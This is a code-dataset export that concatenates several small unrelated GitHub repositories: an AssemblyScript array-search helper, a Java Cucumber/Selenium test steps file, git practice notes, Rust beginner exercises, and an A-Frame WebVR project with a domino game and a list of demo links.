branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>JairusSW/as-array-search<file_sep>/assembly/index.ts
export function search(array: Array<string>, search: string): Array<string> {
const results = new Array<string>()
const query = search.toLowerCase().trim()
for (let i = 0; i < array.length; i++) {
const element = array[i].toLowerCase()
if (element === query) results.push(element)
}
return results
}<file_sep>/README.md
# Search-Data
**Search An Array For Data**
## About
- AssemblyScript Compatible
- Isomorphic (Browser / Node)
- Not case-sensitive
## Installation
```bash
~ npm install as-array-search --save
```
## Usage
**Basic Usage**
```js
import { search } from 'as-array-search'
const toSearch = ['Hello World', 'This is Awesome', 'The World Is Crazy']
const results = search(toSearch, 'world')
//=> ['Hello World', 'The World Is Crazy']
```
## API
### search(array: Array<string>, search: string) -->> Array<string>
Search an array for a search-string and return results as an array. | e501e754ddee9f9da43a2417cbc6a56c9d48564a | [
"Markdown",
"TypeScript"
] | 2 | TypeScript | JairusSW/as-array-search | 0021fe2e74345b498b48dcc655cfe98f840c7a03 | 9e3bb05b9a5af1f66b92b1bd321d62da983fb25d |
refs/heads/master | <file_sep>package StepDefinitions;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Properties;
import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
import org.junit.Assert;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.ie.InternetExplorerDriver;
import cucumber.api.java.Before;
import cucumber.api.java.en.*;
import pageObjects.AddCustomerPage;
import pageObjects.LoginPage;
import pageObjects.SearchCustomerPage;
public class Steps extends BaseClass {
//public WebDriver driver;
//public LoginPage lp;
@Before
public void setup() throws IOException {
//reading properties
configProp=new Properties();
FileInputStream configfis=new FileInputStream("config.properties");
configProp.load(configfis);
logger = Logger.getLogger("cucumberFramework"); //added logger..
PropertyConfigurator.configure("log4j.properties");
String br=configProp.getProperty("browser");
if(br.equals("chrome"))
{
System.setProperty("webdriver.chrome.driver", configProp.getProperty("chromepath"));
driver=new ChromeDriver();
}
else if(br.equals("firefox"))
{
System.setProperty("webdriver.gecko.driver", configProp.getProperty("firefoxpath"));
driver=new FirefoxDriver();
}
else if(br.equals("ie")){
System.setProperty("webdriver.ie.driver", configProp.getProperty("iepath"));
driver=new InternetExplorerDriver();
}
logger.info("*********Launchig Browser**************");
}
@Given("^user launch chrome browser$")
public void user_launch_chrome_browser() {
lp=new LoginPage(driver);
}
@When("^user opens URL \"([^\"]*)\"$")
public void user_opens_URL(String URL) {
driver.get(URL);
logger.info("*******Launching URL****************");
driver.manage().window().maximize();
}
@When("^user enters Email as \"([^\"]*)\" and password as \"([^\"]*)\"$")
public void user_enters_Email_as_and_password_as(String email, String password) {
lp.setUserName(email);
lp.setPassword(<PASSWORD>);
logger.info("*******entering username and password****************");
}
@When("^Click on Login$")
public void click_on_Login() throws InterruptedException {
lp.clickLogin();
logger.info("*******clicking on login button ****************");
Thread.sleep(3000);
}
@Then("^Page Title should be \"([^\"]*)\"$")
public void page_Title_should_be(String title) throws InterruptedException {
if(driver.getPageSource().contains("Login was unsuccessful. ")) {
driver.quit();
Thread.sleep(5000);
Assert.assertTrue(false);
}
else {
Assert.assertEquals(title, driver.getTitle());
}
Thread.sleep(3000);
}
@When("^user clicks on Logout Link$")
public void user_clicks_on_Logout_Link() throws InterruptedException {
lp.ClickLogout();
Thread.sleep(4000);
}
@Then("^Close Browser$")
public void close_Browser() {
driver.quit();
}
//Customer creation step definition..........................................................
@Then("^User can view the Dashboard$")
public void user_can_view_the_Dashboard() {
addcust=new AddCustomerPage(driver);
// logger.info("********* Verifying Dashboad page title after login successful **************");
Assert.assertEquals("Dashboard / nopCommerce administration",addcust.getPageTitle());
}
@When("^user click on customer menu$")
public void user_click_on_customer_menu() throws InterruptedException {
Thread.sleep(3000);
//logger.info("********* Clicking on customer main menu **************");
addcust.clickOnCustomersMenu();
}
@When("^click on customer menu item$")
public void click_on_customer_menu_item() throws InterruptedException {
Thread.sleep(2000);
//logger.info("********* Clicking on customer sub menu **************");
addcust.clickOnCustomersMenuItem();
}
@When("^click on add new button$")
public void click_on_add_new_button() throws InterruptedException{
addcust.clickOnAddnew();
Thread.sleep(2000);
}
@Then("^user can view add new customer page$")
public void user_can_view_add_new_customer_page() {
Assert.assertEquals("Add a new customer / nopCommerce administration", addcust.getPageTitle());
}
@When("^user enters customer info$")
public void user_enters_customer_info() throws InterruptedException {
String email = randomstring() + "@gmail.com";
addcust.setEmail(email);
addcust.setPassword("<PASSWORD>");
// Registered - default
// The customer cannot be in both 'Guests' and 'Registered' customer roles
// Add the customer to 'Guests' or 'Registered' customer role
addcust.setCustomerRoles("Guest");
Thread.sleep(3000);
addcust.setManagerOfVendor("Vendor 2");
addcust.setGender("Male");
addcust.setFirstName("Pavan");
addcust.setLastName("Kumar");
addcust.setDob("7/05/1985"); // Format: D/MM/YYY
addcust.setCompanyName("busyQA");
addcust.setAdminContent("This is for testing.........");
}
@When("^click on save button$")
public void click_on_save_button() throws InterruptedException {
// logger.info("********* Saving customer details **************");
addcust.clickOnSave();
Thread.sleep(2000);
}
@Then("^user can view confirmation message \"([^\"]*)\"$")
public void user_can_view_confirmation_message(String arg1) {
Assert.assertTrue(driver.findElement(By.tagName("body")).getText().contains("The new customer has been added successfully"));
}
// Steps for Seaching through Email..................
@When("^Enter customer Email$")
public void enter_customer_Email() {
searchcust=new SearchCustomerPage(driver);
//logger.info("********* Searching customer details by Email **************");
searchcust.setEmail("<EMAIL>");
}
@When("^Click on search button$")
public void click_on_search_button() throws InterruptedException {
searchcust.clickSearch();
Thread.sleep(3000);
}
@Then("^User should find Email in the Search table$")
public void user_should_find_Email_in_the_Search_table() {
boolean status=searchcust.searchCustomerByEmail("<EMAIL>");
Assert.assertEquals(true, status);
}
}
| a67e98941d15c2b1241c68885c3f9190048d92cd | [
"Java"
] | 1 | Java | raya403/CucumberFrameWork | 2ec679277809f3dc801081abfe418abe14e5abde | d632d010743e6d770df95e4886235c18e1bb2cea |
refs/heads/master | <file_sep>ok,
It is my first git
now, I modify it firstly
<file_sep>all merge and contact me
ok
<file_sep># hello, it is my first git
| 0ca9f75540d11a5172dddc6007337f804f463b62 | [
"Markdown",
"Ruby"
] | 3 | Markdown | Mazziruso/learngit | 67c9a63fc0a8b1253e2ac351a75c5bfcf2edf8db | 539f69b2119bb4820840cebd7f60bc4c0c13ce73 |
refs/heads/main | <repo_name>mehmetkeles6158/example-dogs-api<file_sep>/app/controllers/dogs_controller.rb
class DogsController < ApplicationController
def create
dog = Dog.new(
name: params[:name],
age: params[:age],
breed: params[:breed],
user_id: current_user.id
)
dog.save
if current_user
render json:dog
else
render json: {message: "Sorry! You must be logged in first!"}
end
end
end
| cb6d84bc8408b62ab10d4eab874d3d21e0dddd72 | [
"Ruby"
] | 1 | Ruby | mehmetkeles6158/example-dogs-api | 87b12b4a62b86d41bbcdc954716a5b67969e92a0 | fa0c97da8d1f0be91fb81e1e3869f0c660b94c4d |
refs/heads/main | <file_sep># rust-sandbox
In this repository are the Rust exercises that I did while following the Traversy Media Rust Crash Course.
## Topics covered
* Arrays
* Conditionals
* Enums
* Loops
* Functions
* Pointers
* Print
* Strings
* Structs
* Tuples
* Types
* Vars
* Vectors
## Where to find
If you want to take this course too, you can find it here:
[Rust crash course](https://bit.ly/36m2KQU)
You can find the free Rust Book here:
[Rust Book](https://doc.rust-lang.org/book/title-page.html)
Lastly I also recommend this resource:
[Resource](https://www.youtube.com/watch?v=fcZXfoB2f70)
## Let's get in touch
[LinkedIn](https://www.linkedin.com/in/moises-luna-88a88017a/)
Twitter @moilu6
<file_sep>pub fn run() {
//Print to console
println!("Hola desde el archivo print.rs");
// Basic Formatting
println!("{} es de {}","Moises", "Ensenada");
//Positional Arguments
println!("{0} es de {1} y a {0} le gusta {2}", "Moises", "Ensenada", "programar" );
// Named Arguments
println!("{name} le gusta {activity}", name = "Moises", activity = "programar");
// Placeholder traits
println!("Binario: {:b} Hex: {:x} Octal: {:o}", 10, 10, 10);
// Placeholder for debug trait
println!("{:?}", (12, true, "hello"));
// Basic math
println!("10 + 10 = {}", 10 + 10);
}<file_sep>// Variables hold a primitive data or reference to data
// Variables are inmutable by default
// Rust is a block-scoped language
pub fn run() {
let name = "Moi";
let mut age = 30;
println!("Mi nombre es {} y tengo {} de edad", name, age);
age = 33;
println!("Mi nombre es {} y tengo {} de edad", name, age);
// Define a constant
// When you declare a constant you have to give it a type
// in this case the type is i32 which is an 32bit integer.
const ID: i32 = 001;
println!("ID: {}", ID);
// Assign multiple vars
let ( my_name, my_age ) = ("Moi", 30);
println!("{} tiene {}", my_name, my_age);
} | ee3e003cccd8a838ba9a46e0c8199687b68414e5 | [
"Markdown",
"Rust"
] | 3 | Markdown | moilu/rust-sandbox | aedddcf8a1bec59e16e646bd3a2a5197d890a900 | fea8e3d3281b059dc1e0b1cadb9d206246fddbec |
refs/heads/master | <file_sep>#!/usr/bin/env /usr/local/bin/node
// <bitbar.title>Binance Price Viewer</bitbar.title>
// <bitbar.version>v1.0</bitbar.version>
// <bitbar.author><NAME></bitbar.author>
// <bitbar.author.github>RyoIkarashi</bitbar.author.github>
// <bitbar.desc>Display the spot JPY prices of cryptocurrencies and your current balance in binance.com</bitbar.desc>
// <bitbar.image>https://user-images.githubusercontent.com/5750408/32333718-ec1d99e6-c02b-11e7-8990-c26f6629a1df.png</bitbar.image>
// <bitbar.dependencies>node</bitbar.dependencies>
// <bitbar.abouturl>https://github.com/RyoIkarashi/binance-price-viewer</bitbar.abouturl>
// If you feel this little tool gives you some value, tips are always welcome at the following addresses!
// Bitcoin: 1DrLPjzmNHtkdBstd82xvCxGY38PnKauRH
// Mona: MC7XMmi1YXoJH19D1q4H8ijBkdvarWBTMi
const bitbar = require('bitbar');
const Binance = require('binance-node-api');
const ENV = require('./env.json');
const axios = require('axios');
// create a binance object and set keys
const binance = Object.create(Binance);
binance.init({
apiKey: ENV.access_key,
secretKey: ENV.secret_key
});
const BASE_RATE = 'USD';
const BTC_SYMBOL = 'BTCUSDT';
const RATE_API_URL = `https://api.fixer.io/latest?base=${BASE_RATE}`;
const getAccountInfo = () => binance.getAccountInfo({timestamp: Date.now()});
const getTicker = () => binance.getTicker();
const getCoinsWithBTC = (ticker) => ticker.filter(coin => coin.symbol.match(/BTC$/) || coin.symbol === BTC_SYMBOL);
const getLatestYenPerUSD = () => axios.get(RATE_API_URL);
const getTickerWithJPY = (ticker, btcusd, yen) => ticker.map(coin => {
let newCoin = Object.assign({}, coin);
newCoin.price = coin.symbol !== BTC_SYMBOL ? newCoin.price * btcusd * yen : newCoin.price * yen;
return newCoin;
});
const mergeCoinInfo = (ticker, volatilities) =>
ticker.map((coin, index) => {
let newCoin;
volatilities.map(vola => {
if(coin.symbol === vola.symbol) {
newCoin = Object.assign({}, coin);
newCoin.priceChangePercent = Number(vola.priceChangePercent);
newCoin.symbol = coin.symbol.replace(/BTC$/, '').replace(/USDT$/, '');
}
});
return newCoin;
});
const getBTCUSD = (ticker) => ticker.filter(coin => coin.symbol === BTC_SYMBOL)[0];
const getBTCJPY = (yen, BTCUSD) => BTCUSD * yen;
const getVolatilities = () => binance.get24hrTicker();
const getSortedCoins = (coins, key = 'symbol', order = 'asc') => {
const compareByProp = (a, b) => {
if(!a.hasOwnProperty(key) || !b.hasOwnProperty(key)) return 0;
const A = (typeof a[key] === 'string') ? a[key].toUpperCase() : a[key];
const B = (typeof b[key] === 'string') ? b[key].toUpperCase() : b[key];
let comparison = 0;
if(A > B) {
comparison = 1;
} else if (A < B) {
comparison = -1;
}
return (order === 'desc') ? comparison * -1 : comparison;
};
return coins.sort(compareByProp);
};
const getTop5Coins = (coins) => getSortedCoins(coins, 'priceChangePercent', 'desc').slice(0, 5);
const getWorst5Coins = (coins) => getSortedCoins(coins, 'priceChangePercent').slice(0, 5);
const getBitbarContent = (coins) =>
coins.map((coin, index) => {
const { symbol, price, priceChangePercent } = coin;
return {
text: `[${symbol}] ${price} (${priceChangePercent >= 0 ? '↑' : '↓'} ${priceChangePercent}%)`,
color: `${priceChangePercent >= 0 ? ENV.colors.green: ENV.colors.red}`,
href: `https://www.binance.com/trade.html?symbol=${symbol}_BTC`,
}
});
process.on('unhandledRejection', console.dir);
axios.all([getAccountInfo(), getTicker(), getVolatilities(), getLatestYenPerUSD()])
.then(axios.spread((rates, ticker, volatilities, rate) => {
ticker = ticker.data;
const yen = rate.data.rates.JPY;
const btcusd = Number(getBTCUSD(ticker).price);
const coinsWithBTC = getCoinsWithBTC(ticker);
const BTCJPY = getBTCJPY(yen, btcusd);
const tickerWithJPY = getTickerWithJPY(coinsWithBTC, btcusd, yen);
const coins = getSortedCoins(mergeCoinInfo(tickerWithJPY, volatilities.data));
const contents = getBitbarContent(coins);
const top5Contents = getBitbarContent(getTop5Coins(coins));
const worst5Contents = getBitbarContent(getWorst5Coins(coins));
bitbar([
'Bibance Prices',
bitbar.sep,
'TOP 5',
...top5Contents,
bitbar.sep,
'BOTTOM 5',
...worst5Contents,
bitbar.sep,
'ALL COINS',
...contents,
]);
}));
| 4371c45a6019fb6bcf37ded8f7759cb8d1dd3311 | [
"JavaScript"
] | 1 | JavaScript | ryoikarashi/bitbar-bibance-price-viewer | 4a607b57447019c436da03f3a6640f3c18ac7528 | 821b74fd4a2835ece88e51ba37521425f42faca8 |
refs/heads/master | <repo_name>k38/aframe<file_sep>/ar_dragon/memo.md
参考
- [Monster Hunter dragon](https://sketchfab.com/3d-models/monster-hunter-dragon-3efb94ddc21341808adcd33ba8507eb0)
- [AframeとAR.jsでマーカーレスwebAR](https://qiita.com/Damien/items/adca96f2e0b559e5671b)
- [How to remove the alerts 'trackingBackend' and 'markersAreaEnabled' with AR.js?](https://stackoverflow.com/questions/46486978/how-to-remove-the-alerts-trackingbackend-and-markersareaenabled-with-ar-js)<file_sep>/physics-system/memo.md
https://github.com/donmccurdy/aframe-physics-system
phisics参考
https://www.jyuko49.com/entry/2017/11/26/232827
ボーリング参考
https://github.com/ZakAttakk/A-Frame-Bowling-Game
## 課題
- 地べたの隙間
- THREE.Box3: .getCenter() target is now required
- ボール速度減衰
- ピンが起き上がる
## 他
Blenderインストール
http://ginironodangan.blogspot.com/2018/07/macblender.html
https://www.blender.org/download/
Tips:glTFインポーターAdd-onをインストール(2.79)
https://wiki3.jp/blugjp/page/97
shape__
https://stackoverflow.com/questions/51597659/a-frame-physics-how-to-apply-impulse-to-physics-object-with-manually-created-b
## pin
- [pin1 - Bowling Pin, <NAME>](https://sketchfab.com/3d-models/bowling-pin-028ccb945012460aa9056ffda5b53e20)
- [pin2 - Bowling pin, Vas3D](https://sketchfab.com/3d-models/bowling-pin-513488fe22524a9d93c550cf982ed2e9)
- [pin3 - Bowling Pin, <NAME>ikh](https://sketchfab.com/3d-models/bowling-pin-88655efb4b834452a28173e5d1b7763b)
- [pin4 - Pin, Adam.Klimo](https://sketchfab.com/3d-models/pin-e6f79488d254497a8099ae400af131ae)
<file_sep>/domino01/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded() {
patch();
Game.start(stages);
}
function patch() {
// aframe-multisrc-component
// Cannot read property 'addEventListener' of undefined
AFRAME.components.multisrc.Component.prototype.remove = function () {
var defaultMaterial = this.el.components.material.material;
this.el.getObject3D('mesh').material = defaultMaterial;
this.el.removeEventListener('componentchanged', this.compChange);
var animationEventsArray = ['animationbegin', 'animationstart', 'animationcomplete', 'animationend'];
var self = this;
animationEventsArray.forEach(function (event) {
// this.el.addEventListener(event, this.materialChangedByAnimation);
self.el.addEventListener(event, self.materialChangedByAnimation);
});
this.reduceMaterialChangedThrottle(200);
};
}
class Game {
static stage = 0;
static count = 0;
static passing = 0;
static stages = [];
static start(stages) {
this.stages = stages;
this.setFloorProp();
this.setTiles(stages[this.stage]);
}
static setTiles(data) {
const field = document.querySelector("#field");
const tiles = data["tiles"];
Game.passing = tiles.length;
tiles.forEach(_ => {
field.appendChild(Tile.create(_));
});
}
static setFloorProp() {
const elms = document.querySelectorAll(".floor");
const attr = {
shape: "none",
};
const main = {
shape: "box",
offset: "0 0 -1",
halfExtents: "10 10 1",
};
elms.forEach((e) => {
e.setAttribute("static-body", attr);
e.setAttribute("shape__main", main);
});
}
static judge() {
Game.count++;
// console.log(Game.count, Game.passing);
if ( Game.count < Game.passing )
return;
Game.correct();
}
static correct() {
setTimeout(() => {
const elem = document.querySelector("#soundCorrect");
elem.components.sound.playSound();
Game.clearField();
Game.stage++;
if ( Game.stages.length <= Game.stage )
Game.stage = 0;
Game.count = 0;
}, 1000);
setTimeout(() => {
Game.setTiles(Game.stages[Game.stage]);
}, 2000);
}
static clearField() {
const tiles = document.querySelectorAll(".tile");
tiles.forEach(_ => {
try {
_.parentNode.removeChild(_);
}
finally{}
});
}
}
class Tile {
static common = {"dynamic-body": {mass: 16}, "mixin": "tile", "class": "tile"};
static create(attrs) {
let elem = Util.setAttrs(document.createElement("a-entity"), Tile.common);
elem = Util.setAttrs(elem, attrs);
return Tile.setTileEvents(elem);
}
static createTileParticle() {
const elem = document.createElement("a-entity");
const attr = {
preset: "dust",
size: 0.08,
maxAge: 0.5,
particleCount: 20,
maxParticleCount: 20,
accelerationValue: "0 0 0",
accelerationSpread: "0 0 0",
velocityValue: "0 0 0",
velocitySpread: "1 1 1",
type: 1,
positionSpread: "0 0 0",
color: "#555",
blending: 1,
opacity: "0,1,1,1,0",
enabled: true,
duration: 0.5,
};
elem.setAttribute("particle-system", attr);
return elem;
}
static tileClick(e) {
e.target.setAttribute("mixin", "tile target");
Tile.addForce(e.target);
Tile.removeTileEvents(e.target);
Game.judge();
}
static tileCollide(e) {
if ( e.detail.body.el.getAttribute("class") === "floor" )
return;
if ( e.detail.target.el.components.sound__collision )
e.detail.target.el.components.sound__collision.playSound();
Tile.removeTileEvents(e.detail.target.el);
setTimeout((e)=>{
const r = Util.rotationRadToDeg(e.object3D.rotation);
if ( Math.abs(r[0]) < 20 ) {
Tile.setTileEvents(e);
return;
}
Game.judge();
}, 300, e.detail.target.el);
}
static tileCollideSoundonly(e) {
if ( e.detail.body.el.getAttribute("class") === "floor" )
return;
if ( e.detail.target.el.components.sound__collision )
e.detail.target.el.components.sound__collision.playSound();
}
static tileSelect(e) {
if ( !e.target.components.sound__select )
return;
console.log("tileSelect",
Util.rotationRadToDeg(e.target.object3D.rotation));
e.target.components.sound__select.playSound();
const particle = Tile.createTileParticle();
e.target.appendChild(particle);
setTimeout((t) => {
t.removeChild(particle);
}, 800, e.target, particle);
// console.log(e.target)
}
static addForce(elem) {
var force = new CANNON.Vec3(0, 0, -26);
var local = new CANNON.Vec3(0, 0, 0);
var worldVelocity = elem.body.quaternion.vmult(force);
elem.body.applyImpulse(worldVelocity, local);
}
static setTileEvents(elem) {
elem.addEventListener("click", Tile.tileClick);
elem.addEventListener("collide", Tile.tileCollide);
elem.addEventListener("mouseenter", Tile.tileSelect);
return elem;
}
static removeTileEvents(elem) {
elem.removeEventListener("collide", Tile.tileCollide);
elem.removeEventListener("click", Tile.tileClick);
elem.removeEventListener("mouseenter", Tile.tileSelect);
return elem;
}
}
class Util {
static setAttrs(elem, attrs) {
Object.keys(attrs).forEach(key => {
elem.setAttribute(key, attrs[key]);
});
return elem;
}
static rotationRadToDeg(rotation) {
return [
THREE.Math.radToDeg(rotation.x),
THREE.Math.radToDeg(rotation.y),
THREE.Math.radToDeg(rotation.z),
];
}
}
<file_sep>/README.md
# aframe
## page
- [Transition](https://k38.github.io/aframe/transition/)
- [AR-Dragon](https://k38.github.io/aframe/ar_dragon/)
- [position](https://k38.github.io/aframe/position/)
- [rotation](https://k38.github.io/aframe/rotation/)
- [primitives](https://k38.github.io/aframe/primitives/)
- [ecs](https://k38.github.io/aframe/ecs/)
- [360_gallery](https://k38.github.io/aframe/360_gallery/)
- [domino01](https://k38.github.io/aframe/domino01/)
- [8bit](https://k38.github.io/aframe/8bit/index.html)
- [alongpath-component](https://www.npmjs.com/package/aframe-alongpath-component)
- [runway](https://k38.github.io/aframe/alongpath-component/runway.html)
- [howler](https://github.com/goldfire/howler.js)
- [index](https://k38.github.io/aframe/howler/index.html)
- [play-sound-on-event](https://www.npmjs.com/package/aframe-play-sound-on-event)
- [index](https://k38.github.io/aframe/play-sound-on-event/index.html)
- [multisrc-component](https://github.com/elbobo/aframe-multisrc-component)
- [dice](https://k38.github.io/aframe/multisrc-component/dice.html)
- [cheat_dice](https://k38.github.io/aframe/multisrc-component/cheat_dice.html)
- [index](https://k38.github.io/aframe/multisrc-component/index.html)
- [domino](https://k38.github.io/aframe/multisrc-component/domino.html)
- primitive-attrs
- [a-torus](https://k38.github.io/aframe/primitive-attrs/torus.html)
- [a-torus-knot](https://k38.github.io/aframe/primitive-attrs/torus-knot.html)
- [star-system](https://www.npmjs.com/package/aframe-star-system-component)
- property example
- [color](https://k38.github.io/aframe/star-system/color.html)
- [count](https://k38.github.io/aframe/star-system/count.html)
- [depth](https://k38.github.io/aframe/star-system/depth.html)
- [radius](https://k38.github.io/aframe/star-system/radius.html)
- [size](https://k38.github.io/aframe/star-system/size.html)
- [size2](https://k38.github.io/aframe/star-system/size2.html)
- [texture](https://k38.github.io/aframe/star-system/texture.html)
- [particle-system](https://www.npmjs.com/package/aframe-particle-system-component)
- property example
- [preset](https://k38.github.io/aframe/particle-system/preset.html)
- [maxAge](https://k38.github.io/aframe/particle-system/maxAge.html)
- [type](https://k38.github.io/aframe/particle-system/type.html)
- [positionSpread](https://k38.github.io/aframe/particle-system/positionSpread.html)
- [rotationAxis, rotationAngle](https://k38.github.io/aframe/particle-system/rotation.html)
- [rotationAngleSpread](https://k38.github.io/aframe/particle-system/rotationAngleSpread.html)
- [accelerationValue](https://k38.github.io/aframe/particle-system/accelerationValue.html)
- [accelerationSpread](https://k38.github.io/aframe/particle-system/accelerationSpread.html)
- [velocityValue](https://k38.github.io/aframe/particle-system/velocityValue.html)
- [velocitySpread](https://k38.github.io/aframe/particle-system/velocitySpread.html)
- [dragValue](https://k38.github.io/aframe/particle-system/dragValue.html)
- [dragSpread](https://k38.github.io/aframe/particle-system/dragSpread.html)
- [dragRandomise](https://k38.github.io/aframe/particle-system/dragRandomise.html)
- [color](https://k38.github.io/aframe/particle-system/color.html)
- [direction](https://k38.github.io/aframe/particle-system/direction.html)
- [duration](https://k38.github.io/aframe/particle-system/duration.html)
- [enabled](https://k38.github.io/aframe/particle-system/enabled.html)
- [maxParticleCount](https://k38.github.io/aframe/particle-system/maxParticleCount.html)
- [opacity](https://k38.github.io/aframe/particle-system/opacity.html)
- [particleCount](https://k38.github.io/aframe/particle-system/particleCount.html)
- [randomise](https://k38.github.io/aframe/particle-system/randomise.html)
- [size](https://k38.github.io/aframe/particle-system/size.html)
- [texture_blending](https://k38.github.io/aframe/particle-system/texture_blending.html)
- example
- mushroom
- [mushroom_spores](https://k38.github.io/aframe/mushroom_spores/index.html)
- [mushroom_spores_fantasy](https://k38.github.io/aframe/mushroom_spores/fantasy.html)
- physics-system
- ball
- velocity
- [velocity_1](https://k38.github.io/aframe/physics-system/velocity_1.html)
- [velocity_10](https://k38.github.io/aframe/physics-system/velocity_10.html)
- [velocity_30](https://k38.github.io/aframe/physics-system/velocity_30.html)
- shape(ball)
- [ball_shape_auto](https://k38.github.io/aframe/physics-system/ball_shape_auto.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_auto_debug.html)
- [ball_shape_primitive](https://k38.github.io/aframe/physics-system/ball_shape_primitive.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_primitive_debug.html)
- [ball_shape_sphere](https://k38.github.io/aframe/physics-system/ball_shape_sphere.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_sphere_debug.html)
- [ball_shape_sphere_radius_1](https://k38.github.io/aframe/physics-system/ball_shape_sphere_radius_1.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_sphere_radius_1_debug.html)
- [ball_shape_sphere_radius_20](https://k38.github.io/aframe/physics-system/ball_shape_sphere_radius_20.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_sphere_radius_20_debug.html)
- [ball_shape_box](https://k38.github.io/aframe/physics-system/ball_shape_box.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_box_debug.html)
- [ball_shape_cylinder](https://k38.github.io/aframe/physics-system/ball_shape_cylinder.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_cylinder_debug.html)
- [ball_shape_cylinder_rotate](https://k38.github.io/aframe/physics-system/ball_shape_cylinder_rotate.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_cylinder_rotate_debug.html)
- [ball_shape_hull](https://k38.github.io/aframe/physics-system/ball_shape_hull.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_hull_debug.html)
- [ball_shape_mesh](https://k38.github.io/aframe/physics-system/ball_shape_mesh.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_mesh_debug.html)
- [ball_shape_none](https://k38.github.io/aframe/physics-system/ball_shape_none.html) [debug](https://k38.github.io/aframe/physics-system/ball_shape_none_debug.html)
- mass
- [ball_mass_1](https://k38.github.io/aframe/physics-system/ball_mass_1.html)
- [ball_mass_5](https://k38.github.io/aframe/physics-system/ball_mass_5.html)
- [ball_mass_100](https://k38.github.io/aframe/physics-system/ball_mass_100.html)
- [ball_mass_150](https://k38.github.io/aframe/physics-system/ball_mass_150.html)
- linearDamping
- [ball_linear_001](https://k38.github.io/aframe/physics-system/ball_linear_001.html)git comm
- [ball_linear_1](https://k38.github.io/aframe/physics-system/ball_linear_1.html)
- [ball_linear_099](https://k38.github.io/aframe/physics-system/ball_linear_099.html)
- [ball_linear_00001](https://k38.github.io/aframe/physics-system/ball_linear_00001.html)
- [ball_linear_0](https://k38.github.io/aframe/physics-system/ball_linear_0.html)
- angularDamping
- [ball_angular_001](https://k38.github.io/aframe/physics-system/ball_angular_001.html)
- [ball_angular_1](https://k38.github.io/aframe/physics-system/ball_angular_1.html)
- [ball_angular_00001](https://k38.github.io/aframe/physics-system/ball_angular_00001.html)
- [ball_angular_0](https://k38.github.io/aframe/physics-system/ball_angular_0.html)
- pin
- shape
- [pin_shape_auto](https://k38.github.io/aframe/physics-system/pin_shape_auto.html)
- [pin_shape_primitive](https://k38.github.io/aframe/physics-system/pin_shape_primitive.html)
- [pin_shape_box](https://k38.github.io/aframe/physics-system/pin_shape_box.html)
- [pin_shape_hull](https://k38.github.io/aframe/physics-system/pin_shape_hull.html)
- [pin_shape_mesh](https://k38.github.io/aframe/physics-system/pin_shape_mesh.html)
- [pin_shape_none](https://k38.github.io/aframe/physics-system/pin_shape_none.html)
- [pin_shape_sphere](https://k38.github.io/aframe/physics-system/pin_shape_sphere.html)
- [pin_shape_cylinder](https://k38.github.io/aframe/physics-system/pin_shape_cylinder.html)
- model
- [pin_model_1](https://k38.github.io/aframe/physics-system/pin_model_1.html)
- [pin_model_2](https://k38.github.io/aframe/physics-system/pin_model_2.html)
- [pin_model_3](https://k38.github.io/aframe/physics-system/pin_model_3.html)
- [pin_model_4](https://k38.github.io/aframe/physics-system/pin_model_4.html)
- [pin_model_5](https://k38.github.io/aframe/physics-system/pin_model_5.html)
- shape - localpos
- [pin_model_localpos](https://k38.github.io/aframe/physics-system/pin_model_localpos.html)
- [pin_model_localpos_bowl](https://k38.github.io/aframe/physics-system/pin_model_localpos_bowl.html)
- [pin_model_localpos_bowl_debug](https://k38.github.io/aframe/physics-system/pin_model_localpos_bowl_debug.html)
- shape - compound
- [pin_shape_compound_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_1.html)
- [pin_shape_compound_2](https://k38.github.io/aframe/physics-system/pin_shape_compound_2.html)
- shape - compound 2
- [pin_shape_compound_box](https://k38.github.io/aframe/physics-system/pin_shape_compound_box.html)
- [pin_shape_compound_box_halfExtents](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_halfExtents.html)
- [pin_shape_compound_box_offset_scale_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_offset_scale_1.html)
- [pin_shape_compound_box_offset_y](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_offset_y.html)
- [pin_shape_compound_box_offset_x](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_offset_x.html)
- [pin_shape_compound_box_offset_z](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_offset_z.html)
- [pin_shape_compound_box_orientation](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_orientation.html)
- [pin_shape_compound_box_orientation_01](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_orientation_01.html)
- [pin_shape_compound_box_orientation_02](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_orientation_02.html)
- [pin_shape_compound_box_scale_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_scale_1.html)
- [pin_shape_compound_box_props](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_props.html)
- [pin_shape_compound_box_props_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_box_props_1.html)
- [pin_shape_compound_cylinder](https://k38.github.io/aframe/physics-system/pin_shape_compound_cylinder.html)
- [pin_shape_compound_cylinder_props](https://k38.github.io/aframe/physics-system/pin_shape_compound_cylinder_props.html)
- [pin_shape_compound_cylinder_props_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_cylinder_props_1.html)
